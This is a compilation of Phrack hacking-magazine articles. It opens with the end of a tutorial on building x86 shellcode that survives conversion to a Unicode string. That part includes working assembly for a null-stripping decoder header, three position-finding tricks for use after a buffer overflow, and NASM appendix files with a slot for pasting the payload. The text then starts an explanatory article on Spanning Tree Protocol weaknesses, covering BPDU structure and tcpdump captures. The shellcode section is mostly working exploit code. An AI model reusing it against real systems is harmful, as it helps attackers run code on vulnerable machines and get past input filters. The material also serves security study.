Because : 000400 is : add [2*eax],al, we can jump wherever we want, we won't be bothered by the fact that we have to fall on a 0x00 or not.

But this need 2*eax to be a valid pointer.

We also have :

_______________________________________

|06 push es |

|0006 add [esi],al |

|

|0F000F str [edi] |

|000F add [edi],cl |

|

|2E002E add [cs:esi],ch |

|002E add [esi],ch |

|

|2F das

|002F add [edi],ch |

|

|37 aaa

|0037 add [edi],dh |

| ; ...etc etc... |

|_______________________________________

We are just to be careful with this alignment problem.

Next, let's see what can be done :

XCHG, INC, DEC, PUSH, POP 32 bits registers can be done directly

We can set a register (r32) to 00000000 :

_______________________________________

|push dword 0x00000000

|pop r32

|_______________________________________

Notice that anything that can be done with EAX can be done with any other register thanxs to the XCHG intruction.

For example we can set any value to EDX with a 0x00 at second position : (for example : 0x12005678):

_______________________________________

|mov edx,0x12005600 ; EDX = 0x12005600 |

|mov ecx,0xAA007800

|add dl,ch ; EDX = 0x12005678 |

|_______________________________________

More difficult : we can set any value to EAX (for example), but we will have to use a little trick with the stack :

_______________________________________

|mov eax,0xAA003400 ; EAX = 0xAA003400 |

|push eax

|dec esp

|pop eax ; EAX = 0x003400?? | |add eax,0x12005600 ; EAX = 0x123456?? | |mov al,0x0 ; EAX = 0x12345600 |

|mov ecx,0xAA007800

|add al,ch

| ; finally : EAX = 0x12345678 |

|_______________________________________

Importante note : we migth want to set some 0x00 too :

If we wanted a 0x00 instead of 0x12, then instead of adding 0x00120056 to the register, we can simply add 0x56 to ah :

_______________________________________

|mov ecx,0xAA005600

|add ah,ch

|_______________________________________

If we wanted a 0x00 instead of 0x34, then we just need EAX = 0x00000000 to begin with, instead of trying to set this 0x34 byte.

If we wanted a 0x00 instead of 0x56, then it is simple to substract 0x56 to ah by adding 0x100 ‑ 0x56 = 0xAA to it :

_______________________________________

| ; EAX = 0x123456?? |

|mov ecx,0xAA00AA00

|add ah,ch

|_______________________________________

If we wanted a 0x00 instead of the last byte, just give up the last line.

Maybe if you haven't thougth of this, remember you can jump to a given location with (assuming the address is in EAX) :

________________________________________

|50 push eax |

|C3 ret

|_______________________________________

You may use this in case of a desperate situation.

‑‑[ 4 ‑ The Strategy

It seems nearly impossible to get a working shellcode with such a small set of opcodes... But it is not !

The idea is the following :

Given a working shellcode, we must get rid of the 00 between each byte. We need a loop, so let's do a loop, assuming EAX points to our shellcode :

_Loop_code_:______________________________________

| ; eax points to our shellcode |

| ; ebx is 0x00000000 |

| ; ecx is 0x00000500 (for example) |

|

| label:

|43 inc ebx |

|8A1458 mov byte dl,[eax+2*ebx] | |881418 mov byte [eax+ebx],dl |

|E2F7 loop label |

|_______________________________________

Problem : not unicode. So let's turn it into unicode :

43 8A 14 58 88 14 18 E2 F7, would be :

43 00 14 00 88 00 18 00 F7

Then, considering the fact that we can write data at a location pointed by EAX, it will be simple to tranform thoses 00 into their original values.

We just need to do this (we assume EAX points to our data) :

_______________________________________

|40 inc eax |

|40 inc eax |

|C60058 mov byte [eax],0x58 |

|_______________________________________

Problem : still not unicode. So that 2 bytes like 0x40 follow, we need a 00 between the two... As 00 can't fit, we need something like : 00??00, which won't interfere with our business, so :

add [ebp+0x0],al (0x004500)

will do fine. Finally we get :

_______________________________________

|40 inc eax |

|004500 add [ebp+0x0],al |

|40 inc eax |

|004500 add [ebp+0x0],al |

|C60058 mov byte [eax],0x58 |

|_______________________________________

‑> [40 00 45 00 40 00 45 00 C6 00 58] is nothing but a unicode string !

Before the loop, we must have some things done :

First we must set a proper counter, i propose to set ECX to 0x0500, this will deal with a 1280 bytes shellcode (but feel free to change this). ‑>This is easy to do thanks to what we just noticed.

Then we must have EBX = 0x00000000, so that the loop works properly. ‑>It is also easy to do.

Finally we must have EAX pointing to our shellcode in order to take away the nulls.

‑>This will be the harder part of the job, so we will see that later.

Assuming EAX points to our code, we can build a header that will clean the code that follows it from nulls (we use add [ebp+0x0],al to align nulls) :

‑> 1st part : we do EBX=0x00000000, and ECX=0x00000500 (approximative size of buffer)

_______________________________________

|6A00 push dword 0x00000000 | |6A00 push dword 0x00000000 |

|5D pop ebx |

|004500 add [ebp+0x0],al |

|59 pop ecx |

|004500 add [ebp+0x0],al |

|BA00050041 mov edx,0x41000500 |

|00F5 add ch,dh |

|_______________________________________

‑> 2nd part : The patching of the 'loop code' :

43 00 14 00 88 00 18 00 F7 has to be : 43 8A 14 58 88 14 18 E2 F7 So we need to patch 4 bytes exactly which is simple :

(N.B : using {add dword [eax],0x00??00??} takes more bytes so we will use a single byte mov : {mov byte [eax],0x??} to do this)

_______________________________________

|mov byte [eax],0x8A

|inc eax

|inc eax

|mov byte [eax],0x58

|inc eax

|inc eax

|mov byte [eax],0x14

|inc eax

| ; one more inc to get EAX to the shellcode |

|_______________________________________

Which does, with 'align' instruction {add [ebp+0x0],al} :

_______________________________________

|004500 add [ebp+0x0],al |

|C6008A mov byte [eax],0x8A ; 0x8A |

|004500 add [ebp+0x0],al |

|

|40 inc eax |

|004500 add [ebp+0x0],al |

|40 inc eax |

|004500 add [ebp+0x0],al |

|C60058 mov byte [eax],0x58 ; 0x58 |

|004500 add [ebp+0x0],al |

|

|40 inc eax |

|004500 add [ebp+0x0],al |

|40 inc eax |

|004500 add [ebp+0x0],al |

|C60014 mov byte [eax],0x14 ; 0x14 |

|004500 add [ebp+0x0],al |

|

|40 inc eax |

|004500 add [ebp+0x0],al |

|40 inc eax |

|004500 add [ebp+0x0],al |

|C600E2 mov byte [eax],0xE2 ; 0xE2 |

|004500 add [ebp+0x0],al |

|40 inc eax |

|004500 add [ebp+0x0],al |

|_______________________________________

This is good, we now have EAX that points to the end of the loop, that is to say : the shellcode.

‑> 3rd part : The loop code (stuffed with nulls of course)

_______________________________________

|43 db 0x43 |

|00 db 0x00 ; overwritten with 0x8A |

|14 db 0x14 |

|00 db 0x00 ; overwritten with 0x58 |

|88 db 0x88 |

|00 db 0x00 ; overwritten with 0x14 |

|18 db 0x18 |

|00 db 0x00 ; overwritten with 0xE2 |

|F7 db 0xF7 |

|_______________________________________

Just after this should be placed the original working shellcode.

Let's count the size of this header : (nulls don't count of course)

1st part : 10 bytes

2nd part : 27 bytes

3rd part : 5 bytes

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Total : 42 bytes

I find this affordable, because i could manage to make a remote Win32 shellcode fit in around 450 bytes.

So, at the end, we made it : a shellcode that works after it has been turn into a unicode string !

Is this really it ? No of course, we forgot something. I wrote that we assumed that EAX was pointing on the exact first null byte of the loop code. But in order to be honest with you, i will have to explain a way to obtain this.

‑‑[ 5 ‑ Captain, we don't know our position !

The problem is simple : We had to perform patches on memory to get our loop working well. So we need to know our position in memory because we are patching ourself.

In an assembly program, an easy way to do this would be :

_______________________________________

|call label

|

| label:

|pop eax

|_______________________________________

Will get the absolute memory address of label in EAX.

In a classic shellcode we will need to do a call to a lower address to avoid null bytes :

_______________________________________

|jmp jump_label

|

| call_label:

|pop eax

|push eax

|ret

| jump_label:

|call call_label

| ; ****

|_______________________________________

Will get the absolute memory address of '****'

But this is impossible in our case because we can't jump nor call. Moreover, we can't parse memory looking for a signature of any kind. I'm sure there must be other ways to do this but i could only 3 :

‑> 1st idea : we are lucky.

If we are lucky, we can expect to have some registers pointing to a place near our evil code. In fact, this will happen in 90% of time. This place can't be considered as harcoded because it will surely move if the process memory moves, from a machine to another. (The program, before it crashed, must have used your data and so it must have pointers to it)

We know we can add anything to eax (only eax)

so we can :

‑ use XCHG to have the approximate address in EAX

‑ then add a value to EAX, thus moving it to wherever we want.

The problem is that we can't use : add al,r8 or and ah,r8, because don't forget that :

EAX=0x000000FF + add al,1 = EAX=0x00000000

So thoses manipulations will do different things depending on what EAX contains.

So all we have is : add eax,0x??00??00

No problem, we can add 0x1200 (for example) to EAX with :

_______________________________________

|0500110001 add eax,0x01001100 |

|05000100FF add eax,0xFF000100 |

|_______________________________________

Then, it is simple to add some align data so that EAX points on what we want.

For example :

_______________________________________

|0400 add al,0x0 |

|_______________________________________

would be perfect for align.

(N.B: we will maybe need a little inc EAX to fit)

Some extra space may be requiered by this methode (max : 128 bytes because we can only get EAX to point to the nearest address modulus 0x100, then we have to add align bytes. As each 2 bytes is in fact 1 buffer byte because of the added null bytes, we must at worst add 0x100 / 2 = 128 bytes)

‑> 2nd idea : a little less lucky.

If you can't find a close address within yours registers, you can maybe find one in the stack. Let's just hope your ESP wasn't smashed after the overflow.

You just have to POP from the stack until you find a nice address. This methode can't be explained in a general way, but the stack always contains addresses the application used before you bothered it. Note that you can use POPAD to pop EDI, ESI, EBP, EBX, EDX, ECX, and EAX.

Then we use the same methode as above.

‑> 3rd idea : god forgive me.

Here we suppose we don't have any interesting register, or that the values that the registers contain change from a try to another. Moreover, there's nothing interesting inside the stack.

This is a desperate case so ‑> we use an old style samoura suicide attack.

My last idea is to :

‑ Take a "random" memory location that has write access ‑ Patch it with 3 bytes

‑ Call this location with a relative call

First part is the more hazardous : we need to find an address that is within a writeable section. We'd better find one at the end of a section full on nulls or something like that, because we're gonna call quite randomly. The easiest way to do this is to take for example the .data section of the target Portable Executable. It is usually a quite large section with Flags : Read/Write/Data.

So this is not a problem to kind of 'hardcode' an address in this area. So for the first step we just pisk an address in the middle of this, it won't matter where.

(N.B : if one of your register points to a valid location after the overflow, you don't have to do all this of course)

We assume the address is 0x004F1200 for example :

Using what we saw previously, it is easy to set EAX to this address :

_______________________________________

|B8004F00AA mov eax,0xAA004F00 ; EAX = 0xAA004F00 |

|50 push eax |

|4C dec esp |

|58 pop eax ; EAX = 0x004F00?? | |B000 mov al,0x0 ; EAX = 0x004F0000 |

|B9001200AA mov ecx,0xAA001200 |

|00EC add ah,ch |

| ; finally : EAX = 0x004F1200 |

|_______________________________________

Then we will patch this writeable memory location with (guess what) :

_______________________________________

|pop eax

|push eax

|ret

|_______________________________________

Hex code of the patch : [58 50 C3]

This would give us, after we called this address, a pointer to our code in EAX. This would be the end of the trouble. So let's patch this :

Remember that EAX contains the address we are patching. What we are going to do is first patch with 58 00 C3 00 then move EAX 1 byte ahead, and put the last byte : 0x50 between the two others.

(N.B : don't forget that byte are pushed in a reverse order in the stack)

_______________________________________

|C7005800C300 mov dword [eax],0x00C30058 |

|40 inc eax |

|C60050 mov byte [eax],0x50 |

|_______________________________________

Done with patching. Now we must call this location. I no i said that we couldn't call anything, but this is a desperate case, so we use a relative call :

_______________________________________

|E800??00!! call (here + 0x!!00??00) |

|

|_______________________________________

In order to get this methode working, you have to patch the end of a large memory section containing nulls for example. Then we can call anywhere in the area, it will end up executing our 3 bytes code.

After this call, EAX will have the address of (**), we are saved because we just need to add EAX a value we can calculate because it is just a difference between two offsets of our code. Therefore, we can't use previous technique to add bytes to EAX because we want to add less then 0x100. So we can't do the {add eax, imm32} stuff. Let's do something else :

add dword [eax], byte 0x??

is the key, because we can add a byte to a dword, this is perfect.

EAX points to (**), se can can use this memory location to set the new EAX value and put it back into EAX. We assume we want to add 0x?? to eax : (N.B : 0x?? can't be larger than 0x80 because the : add dword [eax], byte 0x??

we are using is signed, so if you set a large value, it will sub instead of add. (Then add a whole 0x100 and add some align to your code but this won't happen as 42*2 bytes isn't large enough i think)

_______________________________________

|0400 ad al,0x0 ; the 0x04 will be overwritten|

|8900 mov [eax],eax |

|8300?? add dword [eax],byte 0x?? |

|8B00 mov eax,[eax] |

|_______________________________________

Everything is alright, we can make EAX point to the exact first null byte of loop_code as we wished.

We just need to calculate 0x?? (just count the bytes including nulls between loop_code and the call and you'll find 0x5A)

‑‑[ 6 ‑ Conclusion

Finally, we could make a unishellcode, that won't be altered after a str to unicode transformation.

I'm waiting other ideas or techniques to perform this, i'm sure there are plenty of things i haven't thought about.

Thanks to :

‑ NASM Compiler and disassembler (i like its style =) ‑ Datarescue IDA

‑ Numega SoftIce

‑ Intel and its processors

Documentation :

‑ http://www.intel.com for the official intel assembly doc

Greetings go to :

‑ rix, for showing us beautiful things in his articles ‑ Tomripley, who always helps me when i need him !

‑‑| 7 ‑ Appendix : Code

For test purpose, i give you a few lines of code to play with (NASM style) It is not really a code sample, but i gathered all my examples so that you don't have to look everywhere in my messy paper to find what you need...

‑ main.asm ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

%include "\Nasm\include\language.inc"

[global main]

segment .code public use32

..start:

; **************************************

; * Assuming EAX points to (*) (see below) *

; **************************************

;

; Setting EBX to 0x00000000 and ECX to 0x00000500

;

push byte 00 ; 6A00

push byte 00 ; 6A00

pop ebx ; 5D

add [ebp+0x0],al ; 004500

pop ecx ; 59

add [ebp+0x0],al ; 004500

mov edx,0x41000500 ; BA00050041

add ch,dh ; 00F5

;

; Setting the loop_code

;

add [ebp+0x0],al ; 004500

mov byte [eax],0x8A ; C6008A

add [ebp+0x0],al ; 004500

inc eax ; 40

add [ebp+0x0],al ; 004500

inc eax ; 40

add [ebp+0x0],al ; 004500

mov byte [eax],0x58 ; C60058

add [ebp+0x0],al ; 004500

inc eax ; 40

add [ebp+0x0],al ; 004500

inc eax ; 40

add [ebp+0x0],al ; 004500

mov byte [eax],0x14 ; C60014

add [ebp+0x0],al ; 004500

inc eax ; 40

add [ebp+0x0],al ; 004500

inc eax ; 40

add [ebp+0x0],al ; 004500

mov byte [eax],0xE2 ; C600E2

add [ebp+0x0],al ; 004500

inc eax ; 40

add [ebp+0x0],al ; 004500

;

; Loop_code

;

db 0x43

db 0x00 ;0x8A (*)

db 0x14

db 0x00 ;0x58

db 0x88

db 0x00 ;0x14

db 0x18

db 0x00 ;0xE2

db 0xF7

; < Paste 'unicode' shellcode there >

‑EOF‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Then the 3 methodes to get EAX to point to the chosen code. (N.B : The 'main' code is 42*2 = 84 bytes long)

‑ methode1.asm ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

; **************************************

; * Adjusts EAX (+ 0xXXYY bytes) *

; **************************************

; N.B : 0xXX != 0x00

add eax,0x0100XX00 ; 0500XX0001

add [ebp+0x0],al ; 004500

add eax,0xFF000100 ; 05000100FF

add [ebp+0x0],al ; 004500

; we added 0x(XX+1)00 to EAX

; using : add al,0x0 as a NOP instruction :

add al,0x0 ; 0400

add al,0x0 ; 0400

add al,0x0 ; 0400

; [...] <‑‑ (0x100 ‑ 0xYY) /2 times

add al,0x0 ; 0400

add al,0x0 ; 0400

add al,0x0 ; 0400

; (N.B) if 0xYY is odd then add a :

dec eax ; 48

add [ebp+0x0],al ; 004500

‑EOF‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ methode2.asm ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

; **************************************

; * Basically : POPs and XCHG *

; **************************************

popad ; 61

add [ebp+0x0],al ; 004500

xchg eax, ? ; 1 non null byte (find out what to do here) add [ebp+0x0],al ; 004500

; do it again if needed, then use methode1 to make everything okay

‑EOF‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ methode3.asm ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

; **************************************

; * Using a CALL *

; **************************************

; Get the wanted address

mov eax,0xAA00??00 ; B800??00AA

add [ebp+0x0],al ; 004500

push eax ; 50

add [ebp+0x0],al ; 004500

dec esp ; 4C

add [ebp+0x0],al ; 004500

pop eax ; 58

add [ebp+0x0],al ; 004500

mov al,0x0 ; B000

mov ecx,0xAA00!!00 ; B900!!00AA

add ah,ch ; 00EC

add [ebp+0x0],al ; 004500

; EAX = 0x00??!!00

; awfull patch, i agree

mov dword [eax],0x00C30058 ; C7005800C300

inc eax ; 40

add [ebp+0x0],al ; 004500

mov byte [eax],0x50 ; C60050

add [ebp+0x0],al ; 004500

; just pray and call

call 0x???????? ; E800!!00??

add [ebp+0x0],al ; 004500

; then add 90d = 0x5A to EAX (to reach (*), where the loop_code is) ; case where 0xXX = 0x00 so we can't use methode1

add al,0x0 ; 0400 because we're patching at [eax]

mov [eax],eax ; 8900

add dword [eax],byte 0x5A ; 83005A

add [ebp+0x0],al ; 004500

mov eax,[eax] ; 8B00

; EAX pointes to the very first null byte of loop_code

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Fun with the Spanning Tree Protocol

==Phrack Inc.==

Volume 0x0b, Issue 0x3d, Phile #0x0c of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Fun with the Spanning Tree Protocol ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑=[ Oleg K. Artemjev, Vladislav V. Myasnyankin ]=‑‑‑‑‑‑‑‑‑‑‑‑=|

Introduction.

*=*=*=*=*=*=*

Developed in the 1st part of 80th by International Standards Organization (ISO) seven‑layer model of Open System Interconnection (OSI) presents a hierarchical structure, where each level has strictly assigned job & interface to upper & lower levels. Due to business needs modern equipment currently supports on the 2nd OSI layer not only traditional frame forwarding & hardware address resolution, but also provides redundancy, multiplexing, load balancing & separation of information flows. Unfortunately, security issues at this layer are often left without attention. Here we'll show weakness in implementation and algorithm of one of the second OSI layer (``channel'' (MAC+LLC)) protocols ‑ Spanning Tree Protocol (STP). This work uses our materials published in Russian: [2], [4].

Since we're publishing an information about security vulnerabilities before a fix is ready on the market & since these information may be used by a malicious person we'll write our article in such a way, so newbies (also known as ``script kiddies'' or ``black hats'' ‑ see [1]) would be unable to use this paper as a step‑by‑step ``howto''. We understand that different people have different opinion to this issue, but feel that this is almost single possible way to stimulate vendors to fix bugs much faster. Of course we already notified some vendors (Cisco, Avaya) about these vulnerabilities, but an answer was alike: ``unless this gives money we won't make investments''. Well, since we're interested in high level of security in switches & routers we use, we have to publish our investigations ‑ thus we 'll make some pressure on hardware vendors to implement real security in their devices. Also we note, that vendors should be already informed via bugtraq & some ‑ Cisco & Avaya directly. Our first publication in Russian concerning STP vulnerabilities was made about one year ago.

The volume of our materials written while analyzing STP protocol is too big to be published in one magazine article. Full information is available in the Internet at the project's web page ([3]) and with the same restrictions which apply also to this publication (see license below).

License.

*=*=*=*=

As a complain against trends to inhibit publications of security vulnerabilities in software (these tendencies are widely known to the public as a DMCA law in U$ [Digital Millennium Copyright Act]), these materials are a subject to the following license:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

License agreement.

This paper is an intellectual property of it's authors: Oleg Artemjev and Vladislav Myasnyankin (hereinafter ‑ writers). This paper may be freely used for the links, but its content or its part cannot be translated into foreign languages or included into any paper, book, magazine, and other electronic or paper issues without prior WRITTEN permissions of both writers. Moreover, in case of using materials of this research or refer to it, according given license you must provide complete information: full title, authorship and this license. You can freely distribute this paper electronically, if, and only if, all of the following conditions are met:

1. This license agreement and article are not modified, including its PGP digital signature. Any reformatting of the text is prohibited. 2. The distribution does not contradict the given license.

Distribution of this paper in the countries with the legislation containing limitations similar to American DMCA contradicts the given license. At the moment of publication this includes United States of America (including embassies,naval vessels, military bases and other areas of US jurisdiction. Moreover, reading this paper by citizens of such a country violates this license agreement and may also violate their law. Nevertheless, distribution of any links to this document is not a violation of the given license.

This paper is provided by the authors ``as is'' and any express or implied warranties, including, but not limited to, the implied warranties of merchantability and fitness for a particular purpose are disclaimed. In no event shall the writers be liable for any direct,indirect, incidental, special, exemplary, or consequential damages (including, but not limited to, procurement of substitute goods or services; loss of use, data, or profits; or business interruption).

Writers claim this article for educational purposes only. You should not read this paper, if you disagree not to use it any other way.

The given license agreement is subject to change without warning in the consent of both writers.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

What is STP?

*=*=*=*=*=*=

Main task of STP protocol is automated management of network topology with redundant channels. In general, almost all type of networks are unable to accept loops(rings) in their structure. Really, if network equipment is connected with superfluous lines, then without additional measures frames would be delivered to recipient as a several one ‑ this would result in a fault. But business require redundancy, thus there is an STP ‑ it takes care that all physical loops are logically disabled unless one of lines gives a fault ‑ in this case STP enables line that is currently in reserve. STP should guarantee that at each point of time only one of several duplicate links is enabled & should automatically switch between them on demand (fault or physical topology change).

How STP works?

*=*=*=*=*=*=*=

STP begin its work from building a tree‑alike graph, which begins at ``root''. One of STP‑capable devices becomes a root after winning elections. Each STP‑capable device (it could be a switch, router or other equipment, hereby & later for simplicity called ``bridge'') starts from power‑up claiming that it's root one by sending special data named Bridge Protocol Data Unit (BPDU ‑ see [9]) through all ports. The receiver's address in a BPDU packets is a group (multicast) address ‑ this allows BPDUs pass through non‑intellectual (dumb) equipment like hubs and non STP‑aware switches.

Here as we say ``address'', we mean MAC‑address, since STP is working at the level of Media Access Control (MAC). Thereby all issues about STP & its vulnerabilities apply equal to the different transmission methods, i.e. Ethernet, Token Ring & others.

After receiving BPDU from other device the bridge compares received parameters with its own & depending to result decide to stop or keep insisting on its root status. At the end of elections the device with the lowest value of the bride identifier becomes a root one. The bridge identifier is a combination of bridge MAC address & defined bridge priority. Obviously in a network with single STP compatible device it 'll be a root one.

Designated root (or ``Designated Root Bridge'', as named by standard) doesn't have any additional responsibilities ‑ it only used as a beginning point to start building topology graph. For all other bridges in a network STP defines the ``Root Port'' ‑ the nearest to the root bridge port. From other ports connected to the bridge it differs by its identifier ‑ combination of its MAC address & defined for the port priority.

The Root Path Cost is also a value meaningful for STP elections ‑ it is being build as a sum of path costs: to the root port of given bridge & all path costs to root ports of all other bridges on the route to Root one.

In addition to the ``main'' Root Bridge STP defines a logical entity called ``Designated Bridge'' ‑ owner of this status becomes main bridge in serving of given LAN segment. This is also a subject of elections.

Similarly STP defines for each network segment the Designated Port (which serving given network segment) & corresponding to it ``Designated Cost''.

After all the elections are finished, network goes into stable phase. This state is characterized by the following conditions:

‑ There is only one device in a network claiming itself as a Root one, all others are periodically announcing it.

‑ The Root Bridge periodically sends BPDU through all its ports. The sending interval is named ``Hello Time''.

‑ In each LAN segment there is a single Designated Root Port and all traffic to the Root Bridge is going through it. Compared to other bridges, it has lowest value of path cost to the Root Bridge, if these values are identical ‑ the port with a lowest port identifier (MAC plus priority) is assigned.

‑ BPDUs are being received & sent by STP‑compatible unit on each port, even those that are disabled by STP protocol. Exceptionally, BPDUs are not operationing on ports that are disabled by administrator.

‑ Each bridge forwards frames only between Root Port & Designated Ports for corresponding segments. All other ports are blocked.

As follows from the last item, STP manages topology by changing port states within following list:

Blocking: The port is blocked (discards user frames), but accepts STP BPDUs.

Listening: 1st stage before forwarding. STP frames (BPDUs) are OK, but user frames are not processed. No learning of addresses yet, since it may give wrong data in switching table at this time; Learning: 2nd stage of preparation for forwarding state. BPDUs are processed in full, user frames are only used to build switching table and not forwarded;

Forwarding: Working state of ports from user view ‑ all frames are processed ‑ STP & user ones.

At time of network topology reconfiguration all bridge ports are in one of three states ‑ Blocking, Listening or Learning, user frames are not delivered & network is working only for itself, not for user.

In stable state all bridges are awaiting periodical Hello BPDUs from Root Bridge. If in the time period defined by Max Age Time there was no Hello BPDU, then bridge decides that either Root Bridge is Off, either the link to is broken. In this case it initiates network topology reconfiguration. By defining corresponding parameters it is possible to regulate how fast bridges will find topology changes & enable backup links.

Lets look closer.

*=*=*=*=*=*=*=*=*

Here is a structure of STP Configuration BPDU according to 802.1d standard:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|Offset |Name |Size |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|1 |Protocol Identifier |2 bytes|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| |Protocol Version Identifier|1 byte |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| |BPDU type |1 byte |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| |Flags |1 byte |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| |Root Identifier |8 bytes|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| |Root Path Cost |4 bytes|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| |Bridge Identifier |8 bytes|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| |Port Identifier |2 bytes|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| |Message Age |2 bytes|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| |Max Age |2 bytes|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| |Hello Time |2 bytes|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|35 |Forward Delay |2 bytes|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In a C language:

typedef struct {

Bpdu_type type;

Identifier root_id;

Cost root_path_cost;

Identifier bridge_id;

Port_id port_id;

Time message_age;

Time max_age;

Time hello_time;

Time forward_delay;

Flag topology_change_acknowledgement;

Flag topology_change;

} Config_bpdu;

Here is how it look like in a tcpdump: ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑screendump‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[root@ws002 root]# tcpdump ‑c 3 ‑t ‑i eth0 stp

tcpdump: listening on eth0

802.1d config 8000.00:50:e2:bd:58:40.8002 root 8000.00:50:e2:bd:58:40 pathcost 0 age 0 max 20 hello 2 fdelay 15 802.1d config 8000.00:50:e2:bd:58:40.8002 root 8000.00:50:e2:bd:58:40 pathcost 0 age 0 max 20 hello 2 fdelay 15 802.1d config 8000.00:50:e2:bd:58:40.8002 root 8000.00:50:e2:bd:58:40 pathcost 0 age 0 max 20 hello 2 fdelay 15 3 packets received by filter

0 packets dropped by kernel

[root@ws002 root]# ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑screendump‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

And with extra info:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑screendump‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[root@ws002 root]# tcpdump ‑vvv ‑e ‑l ‑xX ‑ttt ‑c 3 ‑i eth0 stp tcpdump: listening on eth0

000000 0:50:e2:bd:58:42 1:80:c2:0:0:0 0026 64: 802.1d config \ 8000.00:50:e2:bd:58:40.8002 root 8000.00:50:e2:bd:58:40 pathcost 0 \ age 0 max 20 hello 2 fdelay 15

0x0000 4242 0300 0000 0000 8000 0050 e2bd 5840 BB.........P..X@ 0x0010 0000 0000 8000 0050 e2bd 5840 8002 0000 .......P..X@.... 0x0020 1400 0200 0f00 0000 0000 0000 0000 7800 ..............x.

0x0030 0c00

2. 002912 0:50:e2:bd:58:42 1:80:c2:0:0:0 0026 64: 802.1d config \ 8000.00:50:e2:bd:58:40.8002 root 8000.00:50:e2:bd:58:40 pathcost 0 \ age 0 max 20 hello 2 fdelay 15

0x0000 4242 0300 0000 0000 8000 0050 e2bd 5840 BB.........P..X@ 0x0010 0000 0000 8000 0050 e2bd 5840 8002 0000 .......P..X@.... 0x0020 1400 0200 0f00 0000 0000 0000 0000 7800 ..............x.

0x0030 0c00

2. 046164 0:50:e2:bd:58:42 1:80:c2:0:0:0 0026 64: 802.1d config \ 8000.00:50:e2:bd:58:40.8002 root 8000.00:50:e2:bd:58:40 pathcost 0 \ age 0 max 20 hello 2 fdelay 15

